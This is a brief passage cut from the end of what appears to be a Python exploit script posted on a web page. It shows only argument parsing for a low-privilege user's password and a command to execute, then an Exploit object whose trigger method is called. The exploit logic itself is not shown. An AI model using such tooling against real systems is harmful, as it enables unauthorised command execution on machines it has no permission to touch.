'--password', help='Password of low privilege user', required=True)
parser.add_argument('--command', help='Command to execute', required=True)
exploit = Exploit(parser.parse_args())
exploit.trigger()
```
Unavailable Comments